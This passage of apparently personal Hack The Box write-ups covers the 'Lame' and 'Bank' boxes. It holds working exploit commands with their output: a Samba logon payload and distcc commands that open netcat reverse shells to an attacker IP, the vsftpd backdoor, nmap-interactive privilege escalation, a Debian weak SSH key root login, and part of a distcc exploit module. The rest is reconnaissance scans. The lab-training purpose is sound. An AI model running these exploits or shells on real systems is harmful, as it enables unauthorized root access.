if (len > 0)
res = sock.get_once(len, 5)
res.split("\n").each do |line|
print_status("stderr: #{line}")
end
end
# Check STDOUT
res = sock.get_once(4, 5)
res = sock.get_once(8, 5)
len = [res].pack("H*").unpack("N")[0]
return if not len
if (len > 0)
res = sock.get_once(len, 5)
res.split("\n").each do |line|
end
end
handler
disconnect
end
# Generate a distccd command
def dist_cmd(*args)
# Convince distccd that this is a compile
args.concat(%w{# -c main.c -o main.o})
# Set distcc 'magic fairy dust' and argument count
res = "DIST00000001" + sprintf("ARGC%.8x", args.length)
# Set the command arguments
args.each do |arg|
res << sprintf("ARGV%.8x%s", arg.length, arg)
end
return res
end
end
```
At this point, I have collected enough information about the target in recon stage. Next step is to actually exploit those weaknesses.
## Exploits
### samba
I run a quick scan with smbmap to see if we have any attack surface on the target machine.
```bash
smbmap -H 10.10.10.3
________ ___ ___ _______ ___ ___ __ _______
/" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\
(: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :)
\___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/
__/ \ |: \. |(| _ \ |: \. | // __' \ (| /
/" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \
(_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator | Shawn Evans - ShawnDEvans@gmail.com
https://github.com/ShawnDEvans/smbmap
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB session(s)
[+] IP: 10.10.10.3:445 Name: 10.10.10.3 Status: Authenticated
Disk Permissions Comment
---- ----------- -------
print$ NO ACCESS Printer Drivers
tmp READ, WRITE oh noes!
opt NO ACCESS
IPC$ NO ACCESS IPC Service (lame server (Samba 3.0.20-Debian))
ADMIN$ NO ACCESS IPC Service (lame server (Samba 3.0.20-Debian))
```
Let's try to break in with the known samba vulnerability since the tmp directory has read and write permission. Use smbclient command with no password into the tmp directory as shown below. At the smb: > prompt, enter logon command with reverse shell back to my attacking machine while it's waiting for the incoming reverse shell.
```bash
# exploit samba in the first tmux session on the attacking machine
smbclient --no-pass //10.10.10.3/tmp
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> logon "/=`nohup nc -e /bin/sh 10.10.16.2 443`"
Password:
session setup failed: NT_STATUS_IO_TIMEOUT
smb: \>
#################################################################################
# in prior to the samaba exploit, listen to the incoming reverse shell with netcat on the tcp port 443
nc -nvlp 443
listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.10.3] 40320
id
uid=0(root) gid=0(root)
whoami
root
# upgrade shell to bash
python -c 'import pty;pty.spawn("/bin/bash")'
root@lame:/#
```
As we can see in the above, it pops as root and it has been pwned. The shell is upgraded to bash with Python as well.
### vsftpd
For vsftpd vulnerability, I attempted to break in as below. But initially it was no luck.
```bash
# netcat to the target machine with ftp port 21
nc 10.10.10.3 21
# then type the username with :) at the end and whatever password to exploit the vuln
220 (vsFTPd 2.3.4)
user tyla:)
331 Please specify the password.
pass tyla
#################################################################################
# listen to incoming reverse shell with nc
nc 10.10.10.3 6200
```
Fortunately, I have a foothold into the target with samba thus I check if there is any kind of firewall is running. Yes, indeed. It is running UFW and it blocks the inbound tcp port 6200. So I disable the UFW with the command `ufw disable`. Then try the vsftpd exploit again on it. Viola!, it pops the shell as root this time.
```bash
# netcat to the target machine with ftp port 21
nc 10.10.10.3 21
# then type the username with :) at the end and whatever password to exploit the vuln
220 (vsFTPd 2.3.4)
user tyla:)
331 Please specify the password.
pass tyla
#################################################################################
# listen to incoming reverse shell with nc
nc 10.10.10.3 6200
id
uid=0(root) gid=0(root)
whoami
root
```
### distcc
This time I would like to use nmap script engine to exploit the target. Let's see if we have any script available in nmap then exploit it as shown below.
```bash
# look for nmap scripts for this exploit
find /usr/share/nmap/scripts/*dist* -type f 2>/dev/null
/usr/share/nmap/scripts/distcc-cve2004-2687.nse
# observe its content with less command
less /usr/share/nmap/scripts/distcc-cve2004-2687.nse
# change the script name to reflect the provided command
mv /usr/share/nmap/scripts/distcc-cve2004-2687.nse /usr/share/nmap/scripts/distcc-exec.nse
# execute the following if it returns the correct value
nmap -p 3632 10.10.10.3 --script distcc-exec --script-args="distcc-exec.cmd='hostname'"
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-08 05:35 EST
Nmap scan report for 10.10.10.3
Host is up (0.26s latency).
PORT STATE SERVICE
3632/tcp open distccd
| distcc-exec:
| VULNERABLE:
| distcc Daemon Command Execution
| State: VULNERABLE (Exploitable)
| IDs: CVE:CVE-2004-2687
| Risk factor: High CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)
| Allows executing of arbitrary commands on systems running distccd 3.1 and
| earlier. The vulnerability is the consequence of weak service configuration.
|
| Disclosure date: 2002-02-01
| Extra information:
|
| lame # <--- RETURN VALUE
|
| References:
| https://nvd.nist.gov/vuln/detail/CVE-2004-2687
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2687
|_ https://distcc.github.io/security.html
Nmap done: 1 IP address (1 host up) scanned in 1.83 seconds
# verify the login username with this exploit
nmap -p 3632 10.10.10.3 --script distcc-exec --script-args="distcc-exec.cmd='id'"
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-08 05:37 EST
Nmap scan report for 10.10.10.3
Host is up (0.26s latency).
PORT STATE SERVICE
3632/tcp open distccd
| distcc-exec:
| VULNERABLE:
| distcc Daemon Command Execution
| State: VULNERABLE (Exploitable)
| IDs: CVE:CVE-2004-2687
| Risk factor: High CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)
| Allows executing of arbitrary commands on systems running distccd 3.1 and
| earlier. The vulnerability is the consequence of weak service configuration.
|
| Disclosure date: 2002-02-01
| Extra information:
|
| uid=1(daemon) gid=1(daemon) groups=1(daemon) # <--- RETURN VALUE
|
| References:
| https://nvd.nist.gov/vuln/detail/CVE-2004-2687
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2687
|_ https://distcc.github.io/security.html
Nmap done: 1 IP address (1 host up) scanned in 1.78 seconds
# initiate reverse shelling
nmap -p 3632 10.10.10.3 --script distcc-exec --script-args="distcc-exec.cmd='nc -e /bin/sh 10.10.16.2 443'"
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-08 05:31 EST
Nmap scan report for 10.10.10.3
Host is up (0.26s latency).
PORT STATE SERVICE
3632/tcp open distccd
Nmap done: 1 IP address (1 host up) scanned in 31.08 seconds
#################################################################################
# listen to the inbound
$ nc -nvlp 443
# gain the shell access with daemon user account
connect to [10.10.16.2] from (UNKNOWN) [10.10.10.3] 57777
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
#################################################################################
# from the initial recon, this target machine has nmap installed and its version also has a known vuln thus let's use it as our leverage to perform privilege escalation to become root from daemon
# run nmap in interactive mode
nmap --interactive
# at nmap> prompt, type !sh
nmap> !sh
# now it pops the shell as root
id
uid=1(daemon) gid=1(daemon) euid=0(root) groups=1(daemon)
whoami
root
```
### ssh
SSH is also one of the open ports on the target. It can be used to leave a backdoor open if we want to by using the following technique - "Debian OpenSSL Predictable PRNG".
```bash
# After gaining a foothold on the target machine as non-privilege user, check if you have a read perm on /root/.ssh/authorized_keys
ls -l /root/.ssh/
total 8
-rw-r--r-- 1 root root 405 2010-05-17 21:44 authorized_keys
-rw-r--r-- 1 root root 442 2012-05-20 14:21 known_hosts
# Now get the pubkey inside authorized_keys file
less /root/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w== msfadmin@metasploitable
# Download the git repo and extract the predictable rsa
sudo git clone https://github.com/g0tmi1k/debian-ssh.git
cd debian-ssh/common_keys
sudo tar jxf debian_ssh_rsa_2048_x86.tar.bz2
cd rsa
# grep the content of pubkey to match its private key in the rsa directory
grep -lr AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w==
57c3115d77c56390332dc5c49978627a-5429.pub # <--- MATCHING PUBKEY
#################################################################################
# now ssh into the target machine with the matching private key as root
ssh -i 57c3115d77c56390332dc5c49978627a-5429 root@10.10.10.3
The authenticity of host '10.10.10.3 (10.10.10.3)' can't be established.
DSA key fingerprint is SHA256:kgTW5p1Amzh5MfHn9jIpZf2/pCIZq2TNrG9sh+fy95Q.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.3' (DSA) to the list of known hosts.
Last login: Mon Nov 6 17:01:18 2023 from :0.0
Linux lame 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
You have new mail.
root@lame:~#
```
## Conclusion
HTB: Lame is rated as easy on the platform but there are a lot of things I can learn with it to start my OffSec journey. Note that this is my very first box to play with on HTB platform. I have a good feeling about practising my OffSec skill on the platform. It worths every penny I have paid for its subscription.
# HTB: Bank Write-Up
## Recons
### nmap
Let's sniff the target machine to check if there is any opening to break in.
```bash
# Nmap 7.94 scan initiated Sun Nov 12 02:18:04 2023 as: nmap -vvv -Pn -sCV --open -T4 -p0-65535 -oN bank.nmap 10.10.10.29
Nmap scan report for 10.10.10.29
Host is up, received user-set (0.33s latency).
Scanned at 2023-11-12 02:18:04 EST for 84s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 08:ee:d0:30:d5:45:e4:59:db:4d:54:a8:dc:5c:ef:15 (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBAMJ+YATka9wvs0FTz8iNWs6uCiLqSFhmBYoYAorFpozVGkCkU1aEJ7biybFTw/qzS9pbSsaYA+3LyUyvh3BSPGEt1BgGW/H29MuXjkznwVz60JqL4GqaJzYSL3smYYdr3KdJQI/QSvf34WU3pife6LRmJaVk+ETh3wPclyecNtedAAAAFQC1Zb2O2LzvAWf20FdsK8HRPlrx1wAAAIBIBAhLmVd3Tz+o+6Oz39g4Um1le8d3DETINWk3myRvPw8hcnRwAFe1+14h3RX4fr+LKXoR/tYrI138PJyiyl+YtQWhZnJ7j8lqnKRU2YibtnUc44kP9FhUqeAcBNjj4qwG9GyQSWm/Q5CbOokgaa6WfdcnwsUMim0h2Ad8YdU1kAAAAIBy3dOOD8jKHeBdE/oXGG0X9tKSFZv1gPr/kZ7NfqUF0kHU3oZTNK8/2qR0SNHgrZ2cLgKTIuneGS8lauXjC66NNMoUkJcMHpwRkYC0A86LDmhES6OuPsQwAjr1AtUZn97QjYu1d6WPfhTdsRYBuCotgKh2SBkzV1Bcz77Tnp56JA==
| 2048 b8:e0:15:48:2d:0d:f0:f1:73:33:b7:81:64:08:4a:91 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDc0rofjHtpSlqkDjjnkEiYcbUrMH0Q4a6PcxqsR3updDGBWu/RK7AGWRSjPn13uil/nl44XF/fkULy7FoXXskByLCHP8FS2gYJApQMvI9n81ERojEA0NIi6VZKP19bl1VFTk7Q5rEPIpab2xqYMBayb1ch7iP95n3iayvHEt/7cSTsddGWKeALi+rrujpnryNViiOIWpqDv+RWtbc2Wuc/FTeGSOt1LBTbtKcLwEehBG+Ym8o8iKTd+zfVudu7v1g3W2Aa3zLuTcePRKLUK3Q2D7k+5aJnWrekpiARQm3NmMkv1NuDLeW3amVBCv6DRJPBqEgSeGMGsnqkR8CKHO9/
| 256 a0:4c:94:d1:7b:6e:a8:fd:07:fe:11:eb:88:d5:16:65 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDH30xnPq1XEub/UFQ2KoHXh9LFKMNMkt60xYF3OrEp1Y5XQd0QyeLXwm6tIqWtb0rWda/ivDgmiB4GzCIMf/HQ=
| 256 2d:79:44:30:c8:bb:5e:8f:07:cf:5b:72:ef:a1:6d:67 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIA8MYjFyo+4OwYGTzeuyNd998y6cOx56mIuciim1cvKh
53/tcp open domain syn-ack ttl 63 ISC BIND 9.9.5-3ubuntu0.14 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.9.5-3ubuntu0.14-Ubuntu
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.7 ((Ubuntu))
| http-methods:
|_ Supported Methods: POST OPTIONS GET HEAD
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.7 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Nov 12 02:19:28 2023 -- 1 IP address (1 host up) scanned in 83.86 seconds
```
The provided Nmap scan result reveals information about a target host with the IP address 10.10.10.29. Here's a breakdown of the findings:
1. **SSH Service (Port 22)**:
* State: Open
* Service: SSH (Secure Shell)
* Version: OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8
* Encryption Key Types:
* DSA (Digital Signature Algorithm)
* RSA (Rivest-Shamir-Adleman)
* ECDSA (Elliptic Curve Digital Signature Algorithm)
* ED25519 (Edwards-curve Digital Signature Algorithm)
* Operating System: Ubuntu Linux
This indicates that the SSH service is available on the host, allowing secure remote access. The version information can be useful for identifying potential vulnerabilities or compatibility issues.
2. **Domain Service (Port 53)**:
* State: Open
* Service: Domain (DNS - Domain Name System)
* Version: ISC BIND 9.9.5-3ubuntu0.14 (Ubuntu Linux)
The Domain service being open suggests that this host is likely responsible for DNS resolution within the network. The version information can help in assessing potential vulnerabilities or compatibility with other DNS systems.
3. **HTTP Service (Port 80)**:
* State: Open
* Service: HTTP (Hypertext Transfer Protocol)
* Version: Apache httpd 2.4.7 (Ubuntu)
* Server Header: Apache/2.4.7 (Ubuntu)
* HTTP Methods Supported: POST, OPTIONS, GET, HEAD
* HTTP Title: Apache2 Ubuntu Default Page: It works
The HTTP service being open indicates that the host is running a web server, serving content over the HTTP protocol. The version information can be valuable for understanding potential vulnerabilities or compatibility issues with web applications running on this server.
4. **Additional Information**:
* Latency: The host responded with a latency of 0.33 seconds, indicating a relatively quick response time.
* Operating System: Detected as Linux, with the Common Platform Enumeration (CPE) specifying the Linux kernel.
This Nmap scan provides valuable insights into the services running on the target host, allowing for further analysis and potential identification of security risks or areas of interest for further investigation.
### DNS
#### dig
With a standard DNS tool called 'dig' available in Linux, we can pull it off the following DNS recon on the target machine.
```bash
# get the domain's zone details with dig from dns server
$ dig @10.10.10.29 bank.htb axfr
; <<>> DiG 9.19.17-1-Debian <<>> @10.10.10.29 bank.htb axfr
; (1 server found)
;; global options: +cmd
bank.htb. 604800 IN SOA bank.htb. chris.bank.htb. 2 604800 86400 2419200 604800
bank.htb. 604800 IN NS ns.bank.htb.
bank.htb. 604800 IN A 10.10.10.29
ns.bank.htb. 604800 IN A 10.10.10.29
www.bank.htb. 604800 IN CNAME bank.htb.
bank.htb. 604800 IN SOA bank.htb. chris.bank.htb. 2 604800 86400 2419200 604800
;; Query time: 504 msec
;; SERVER: 10.10.10.29#53(10.10.10.29) (TCP)
;; WHEN: Sun Nov 12 02:49:32 EST 2023
;; XFR size: 6 records (messages 1, bytes 171)
-------------------------------------------------------------------------------
# filter the output a bit more with grep regex
$ dig @10.10.10.29 bank.htb axfr | grep -E '(\w+\.)?\w+\.htb'
; <<>> DiG 9.19.17-1-Debian <<>> @10.10.10.29 bank.htb axfr
bank.htb. 604800 IN SOA bank.htb. chris.bank.htb. 2 604800 86400 2419200 604800
bank.htb. 604800 IN NS ns.bank.htb.
bank.htb. 604800 IN A 10.10.10.29
ns.bank.htb. 604800 IN A 10.10.10.29
www.bank.htb. 604800 IN CNAME bank.htb.
bank.htb. 604800 IN SOA bank.htb. chris.bank.htb. 2 604800 86400 2419200 604800
-------------------------------------------------------------------------------
# print only the matches with grep -o
$ dig @10.10.10.29 bank.htb axfr | grep -oE '(\w+\.)?\w+\.htb'
bank.htb
bank.htb
bank.htb
chris.bank.htb
bank.htb
ns.bank.htb
bank.htb
ns.bank.htb
www.bank.htb
bank.htb
bank.htb
bank.htb
chris.bank.htb
-------------------------------------------------------------------------------
# sort and print only unique with sort -u
$ dig @10.10.10.29 bank.htb axfr | grep -oE '(\w+\.)?\w+\.htb' | sort -u
bank.htb
chris.bank.htb
ns.bank.htb
www.bank.htb
-------------------------------------------------------------------------------
# translate or replace newline \n with space ' '
$ dig @10.10.10.29 bank.htb axfr | grep -oE '(\w+\.)?\w+\.htb' | sort -u | tr '\n' ' '
bank.htb chris.bank.htb ns.bank.htb www.bank.htb
-------------------------------------------------------------------------------
# manipulate the output the way we want with awk
$ dig @10.10.10.29 bank.htb axfr | grep -oE '(\w+\.)?\w+\.htb' | sort -u | tr '\n' ' ' | awk '{print "10.10.10.29\t" $1 " " $2 " " $3 " " $4}'
10.10.10.29 bank.htb chris.bank.htb ns.bank.htb www.bank.htb
-------------------------------------------------------------------------------
# copy the output to clipboard with xclip instead of print out
$ dig @10.10.10.29 bank.htb axfr | grep -oE '(\w+\.)?\w+\.htb' | sort -u | tr '\n' ' ' | awk '{print "10.10.10.29\t" $1 " " $2 " " $3 " " $4}' | xclip -selection clipboard
```
The series of commands demonstrate the process of retrieving domain zone details using the `dig` command from a DNS server, filtering the output with `grep`, `sort`, and `awk`, and finally copying the manipulated output to the clipboard using `xclip`. Here's an explanation of each step:
1. **Original `dig` Command**:
* The initial command requests a zone transfer (`axfr`) for the domain `bank.htb` from the DNS server located at `10.10.10.29`.
2. **Filtered Output with `grep`**:
* `grep -E '(\w+\.)?\w+\.htb'`: Filters the output to include only lines containing domain names with the `.htb` extension.
3. **Print Matches Only with `grep -o`**:
* `grep -oE '(\w+\.)?\w+\.htb'`: Prints only the matched domain names, one per line.
4. **Sort and Print Unique Entries with `sort -u`**:
* `sort -u`: Sorts the domain names alphabetically and prints only unique entries.
5. **Translate Newlines to Spaces with `tr`**:
* `tr '\n' ' '`: Translates newline characters to spaces, combining all domain names into a single line.
6. **Manipulate Output with `awk`**:
* `awk '{print "10.10.10.29\t" $1 " " $2 " " $3 " " $4}'`: Formats the output to include the DNS server IP address (`10.10.10.29`) followed by the domain names.
7. **Copy Output to Clipboard with `xclip`**:
* `xclip -selection clipboard`: Copies the manipulated output to the clipboard for easy pasting into other applications.
Overall, this series of commands provides a streamlined way to retrieve domain zone details from a DNS server, filter and manipulate the output, and then copy it to the clipboard for further use. This can be particularly useful for network administrators or security professionals conducting DNS-related investigations or audits.
To make my life a bit easier and work with DNS, I add the following entry to my local Kali machine's /etc/hosts file.
```bash
$ sudo vi /etc/hosts
10.10.10.29 bank.htb chris.bank.htb ns.bank.htb www.bank.htb
```
### Web
#### WhatWeb
Since the Nmap scan result shows that the TCP port 80 HTTP is opening, I would like to confirm its operating system and version.
```bash
$ whatweb http://10.10.10.29
http://10.10.10.29 [200 OK] Apache[2.4.7], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.7 (Ubuntu)], IP[10.10.10.29], Title[Apache2 Ubuntu Default Page: It works]
```
It is a command-line tool called WhatWeb, which is used for web fingerprinting or identifying the technologies used by a website. Here's an analysis of the output:
1. **URL**:
* This is the URL of the target website being analyzed.
2. **Response Status**: \[200 OK]
* Indicates that the web server responded with a successful HTTP status code, meaning the request was processed without errors.
3. **Web Server**: Apache \[2.4.7]
* Specifies the web server software being used, which in this case is Apache version 2.4.7. Apache is a widely used open-source web server software.
4. **Country**: RESERVED \[ZZ]
* The country field typically provides information about the geographical location of the server based on its IP address. However, in this case, it shows "RESERVED" with the country code "ZZ", which suggests that the country information is not available or reserved.
5. **HTTP Server**: Ubuntu Linux \[Apache/2.4.7 (Ubuntu)]
* Indicates the underlying operating system and its version, which is Ubuntu Linux. Additionally, it mentions that Apache version 2.4.7 is specifically configured for Ubuntu.
6. **IP Address**: 10.10.10.29
* Specifies the IP address of the target server.
7. **Title**: Apache2 Ubuntu Default Page: It works
* Provides the title of the webpage, which is the default page served by Apache on an Ubuntu system. This is often displayed when no specific content is configured for the root URL of the web server.
WhatWeb analysis reveals that the target website is hosted on a server running Apache version 2.4.7 on Ubuntu Linux. The default page for Apache on Ubuntu is being served, indicating that the web server is operational and accessible.
#### Aquatone
```bash
# download aquatone from github
$ wget https://github.com/michenriksen/aquatone/releases/download/v1.7.0/aquatone_linux_amd64_1.7.0.zip
# unzip the zip file
$ unzip aquatone_linux_amd64_1.7.0.zip
# get the oupt to bank.urls for aquatone
$ dig @10.10.10.29 bank.htb axfr | grep -oE '(\w+\.)?\w+\.htb' | sort -u > bank.urls
# it looks like this
$ cat bank.urls
bank.htb
chris.bank.htb
ns.bank.htb
www.bank.htb
# use sed to substitute or put http:// prefix to every line
$ sed -i 's/^/http:\/\//gi' bank.urls
# verify the sed output
$ cat bank.urls
http://bank.htb
http://chris.bank.htb
http://ns.bank.htb
http://www.bank.htb
# feed it to aquaton
$ cat bank.urls | ./aquatone
aquatone v1.7.0 started at 2023-11-12T04:24:36-05:00
Using unreliable Google Chrome for screenshots. Install Chromium for better results.
Targets : 4
Threads : 2
Ports : 80, 443, 8000, 8080, 8443
Output dir : .
http://ns.bank.htb: 200 OK
http://www.bank.htb: 200 OK
http://bank.htb: 200 OK
http://chris.bank.htb: 200 OK
http://ns.bank.htb: screenshot successful
http://www.bank.htb: screenshot successful
http://bank.htb: screenshot successful
http://chris.bank.htb: screenshot successful
Calculating page structures... done
Clustering similar pages... done
Generating HTML report... done
Writing session file...Time:
- Started at : 2023-11-12T04:24:36-05:00
- Finished at : 2023-11-12T04:24:43-05:00
- Duration : 7s
Requests:
- Successful : 4
- Failed : 0
- 2xx : 4
- 3xx : 0
- 4xx : 0
- 5xx : 0
Screenshots:
- Successful : 4
- Failed : 0
Wrote HTML report to: aquatone_report.html
# open aquatone_report.html with firefox
$ firefox aquatone_report.html&
```
It illustrates the process of using Aquatone, a reconnaissance tool, to capture screenshots and generate reports for a list of domain URLs. Here's a breakdown of each step:
1. **Download Aquatone**:
* Fetches the Aquatone release from GitHub using `wget`.
```
wget https://github.com/michenriksen/aquatone/releases/download/v1.7.0/aquatone_linux_amd64_1.7.0.zip
```
2. **Unzip Aquatone**:
* Extracts the downloaded Aquatone zip file using `unzip`.
```
unzip aquatone_linux_amd64_1.7.0.zip
```
3. **Retrieve Domain URLs with `dig`**:
* Performs a zone transfer for the domain `bank.htb` from the DNS server at `10.10.10.29`, filters and sorts unique domain names, and saves them to a file named `bank.urls`.
```
dig @10.10.10.29 bank.htb axfr | grep -oE '(\w+\.)?\w+\.htb' | sort -u > bank.urls
```
4. **Prepend `http://` to URLs with `sed`**:
* Adds `http://` prefix to each line in `bank.urls`.
```
sed -i 's/^/http:\/\//gi' bank.urls
```
5. **Feed URLs to Aquatone**:
* Pipes the contents of `bank.urls` to Aquatone for scanning.
```
cat bank.urls | ./aquatone
```
6. **Open Aquatone HTML Report**:
* Opens the generated HTML report in a web browser (Firefox) for review.
```
firefox aquatone_report.html&
```
These commands demonstrate a streamlined process for using Aquatone to perform reconnaissance on a list of domain URLs, capturing screenshots and generating reports for further analysis.
#### Gobuster
```bash
# web scan with gobuster
$ gobuster dir --threads 100 --wordlist /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt --url http://bank.htb
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://bank.htb
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/uploads (Status: 301) [Size: 305] [--> http://bank.htb/uploads/]
/assets (Status: 301) [Size: 304] [--> http://bank.htb/assets/]
/inc (Status: 301) [Size: 301] [--> http://bank.htb/inc/]
/server-status (Status: 403) [Size: 288]
/balance-transfer (Status: 301) [Size: 314] [--> http://bank.htb/balance-transfer/]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================
```
The output displays the results of a web scan conducted with Gobuster, a popular directory and file brute-forcing tool. Here's an explanation of the scan:
1. **Tool Information**:
* Gobuster version 3.6 is being used for the scan. Gobuster is a tool used to brute-force: URIs (directories and files) in web sites, DNS subdomains (with wildcard support), Virtual Host names on target web servers, Open Amazon S3 buckets, Open Google Cloud buckets and TFTP servers. Gobuster is useful for pentesters, ethical hackers and forensics experts. It also can be used for security tests.
2. **Scan Configuration**:
* **URL**:
* **Method**: GET
* **Threads**: 100
* **Wordlist**: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
* **Negative Status codes**: 404 (ignore 404 Not Found responses)
* **User Agent**: gobuster/3.6
* **Timeout**: 10 seconds
3. **Results**:
* The scan is performed in directory enumeration mode.
* Directories or paths found during the scan:
* **/uploads**: Redirects to
* **/assets**: Redirects to
* **/inc**: Redirects to
* **/server-status**: Access forbidden (Status: 403 Forbidden)
* **/balance-transfer**: Redirects to
Gobuster successfully identified several directories and paths on the target website , along with their corresponding status codes and sizes. This information can be valuable for further reconnaissance and vulnerability assessment, allowing security professionals to explore potentially sensitive areas of the web application. Additionally, the presence of directories like "uploads," "assets," and "balance-transfer" may provide avenues for further investigation or exploitation.
#### Nuclei
```bash
# scan the target with nuclei
$ nuclei -list bank.urls [34/384]
__ _
____ __ _______/ /__ (_)
/ __ \/ / / / ___/ / _ \/ /
/ / / / /_/ / /__/ / __/ /
/_/ /_/\__,_/\___/_/\___/_/ v3.0.2 projectdiscovery.io
[INF] nuclei-templates are not installed, installing...
[INF] Successfully installed nuclei-templates at /home/vagrant/.local/nuclei-templates
[INF] Current nuclei version: v3.0.2 (outdated)
[INF] Current nuclei-templates version: v9.6.9 (latest)
[INF] New templates added in latest release: 73
[INF] Templates loaded for current scan: 7278
[INF] Executing 5264 signed templates from projectdiscovery/nuclei-templates
[WRN] Executing 2028 unsigned templates. Use with caution.
[INF] Targets loaded for current scan: 4
[INF] Templates clustered: 1252 (Reduced 4876 Requests)
[caa-fingerprint] [dns] [info] ns.bank.htb
[caa-fingerprint] [dns] [info] chris.bank.htb
[caa-fingerprint] [dns] [info] bank.htb
[INF] Using Interactsh Server: oast.live
[options-method] [http] [info] http://www.bank.htb [POST,OPTIONS,GET,HEAD]
[options-method] [http] [info] http://chris.bank.htb [POST,OPTIONS,GET,HEAD]
[options-method] [http] [info] http://ns.bank.htb [POST,OPTIONS,GET,HEAD]
[apache-detect] [http] [info] http://chris.bank.htb [Apache/2.4.7 (Ubuntu)]
[default-apache-test-all] [http] [info] http://chris.bank.htb [Apache/2.4.7 (Ubuntu)]
[default-apache2-ubuntu-page] [http] [info] http://chris.bank.htb [apache-detect] [http] [info] http://ns.bank.htb [Apache/2.4.7 (Ubuntu)]
[default-apache-test-all] [http] [info] http://ns.bank.htb [Apache/2.4.7 (Ubuntu)]
[default-apache2-ubuntu-page] [http] [info] http://ns.bank.htb [apache-detect] [http] [info] http://www.bank.htb [Apache/2.4.7 (Ubuntu)]
[default-apache-test-all] [http] [info] http://www.bank.htb [Apache/2.4.7 (Ubuntu)]
[default-apache2-ubuntu-page] [http] [info] http://www.bank.htb
[CVE-2021-28164] [http] [medium] http://www.bank.htb/WEB-INF/web.xml
[CVE-2021-28164] [http] [medium] http://ns.bank.htb/WEB-INF/web.xml
[CVE-2021-28164] [http] [medium] http://bank.htb/WEB-INF/web.xml
[CVE-2021-28164] [http] [medium] http://chris.bank.htb/WEB-INF/web.xml
[http-missing-security-headers:permissions-policy] [http] [info] http://chris.bank.htb
[http-missing-security-headers:cross-origin-opener-policy] [http] [info] http://www.bank.htb
[http-missing-security-headers:x-frame-options] [http] [info] http://chris.bank.htb
[http-missing-security-headers:x-permitted-cross-domain-policies] [http] [info] http://chris.bank.htb
[http-missing-security-headers:referrer-policy] [http] [info] http://chris.bank.htb
[http-missing-security-headers:clear-site-data] [http] [info] http://chris.bank.htb
